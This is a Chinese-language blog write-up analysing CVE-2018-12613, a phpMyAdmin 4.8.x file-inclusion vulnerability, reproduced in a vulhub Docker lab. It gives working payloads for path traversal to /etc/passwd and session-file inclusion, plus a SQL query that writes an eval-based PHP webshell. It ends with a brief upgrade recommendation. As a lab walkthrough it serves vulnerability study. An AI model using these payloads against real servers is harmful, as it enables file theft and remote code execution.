CVE-2018-12613 PHPmyadmin文件包含漏洞分析及漏洞利用


漏洞描述

  在4.8.2之前的phpMyAdmin 4.8.x中发现了一个问题,攻击者可以在其中包含(查看并可能执行)服务器上的文件。该漏洞来自页面重定向和在phpMyAdmin中加载的部分代码,以及对列入白名单的页面的不正确测试。除“ $ cfg [‘AllowArbitraryServer’] = true”情况(攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码)外,攻击者还必须经过身份验证。 [‘ServerDefault’] = 0“的情况(绕过登录要求,并在没有任何身份验证的情况下运行易受攻击的代码)。

影响版本


phpMyAdmin 4.8.0和4.8.1


漏洞环境搭建


使用vulhub直接docker一键启动环境CVE-2018-12613环境

docker快速入门以及漏洞环境搭建

下载安装好vulhub后进入/phpmyadmin/CVE-2018-12613目录,执行以下命令启动环境

sudo docker-compose up -d

在这里插入图片描述
查看当前虚拟机ip,并访问8080端口,即可出现phpmyadmin页面

在这里插入图片描述

漏洞分析


查看index.php中的61行,存在一个include文件包含函数

在这里插入图片描述

  1. 判断target是否存在
  2. 判断target是否是字符串
  3. target不能以index字符串开头
  4. targer不在$target_blacklist数组中
  5. 带入targer到Core类的checkPageValidity方法中

$target_blacklis数组为以下两个文件名:

在这里插入图片描述

查看libraries/classes/Core.php文件,查看443行,分析checkPageValidity方法用法:

在这里插入图片描述
在25行可以查看$whiltlist数组中存入了哪些变量:

在这里插入图片描述

再回到checkPageValidity方法主要查看以下代码:

$_page = mb_substr(
	$page,
	0,
	mb_strpos($page . '?', '?')
);
	 if (in_array($_page, $whitelist)) {
    
    
		 return true;
 }

这段代码会截取target变量中的字符串从开始到?中的字符,然后带入$whitelist数组中匹配,如果匹配成功,返回true。

构造payload:

?target=sql.php?/../../../../../../../../../etc/passwd

在这里插入图片描述
可以成功包含passwd文件

漏洞利用


当前vulhub搭建的docker环境,不能利用写木马到数据库然后包含frm文件。因为vulhub是利用站库分离的搭法,这样我们插入木马到某个表中,payload会保存在数据库系统里,而不是web服务器上。
在这里插入图片描述
所以我们利用session写入shell的方式进行getshell

执行sql语句:

SELECT "<?php phpinfo();?>"

查看我们的session,我们输入的这一段php代码其实已经保存在服务器中了。

在这里插入图片描述
我们进入docker容器中,查看web服务器下的tmp文件,存在于我们的session文件

在这里插入图片描述
cat查看session文件可以看到我们刚才查询的php代码:

# cat <session文件>
cat sess_7600504195960fdd23197b847708a866

在这里插入图片描述
我们利用payload尝试包含session文件,出现phpinfo。

/index.php?target=sql.php?/../../../../../../../../../tmp/sess_7600504195960fdd23197b847708a866

在这里插入图片描述
从phpinfo中搜索CONTEXT_DOCUMENT_ROOT可查看web路径

在这里插入图片描述

写入webshell:

select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"

在这里插入图片描述

然后再次包含session文件

/index.php?target=sql.php?/../../../../../../../../../tmp/sess_3ac44a735bf3546cbbb3aabb00da9322

在这里插入图片描述

访问cmd.php,发现文件已存在了,说明我们写入成功。

在这里插入图片描述

菜刀添加木马地址及密码

在这里插入图片描述
在这里插入图片描述


漏洞加固


不影响业务运行的情况下,升级到最新版phpmyadmin。

猜你喜欢

转载自blog.csdn.net/weixin_41924764/article/details/109701126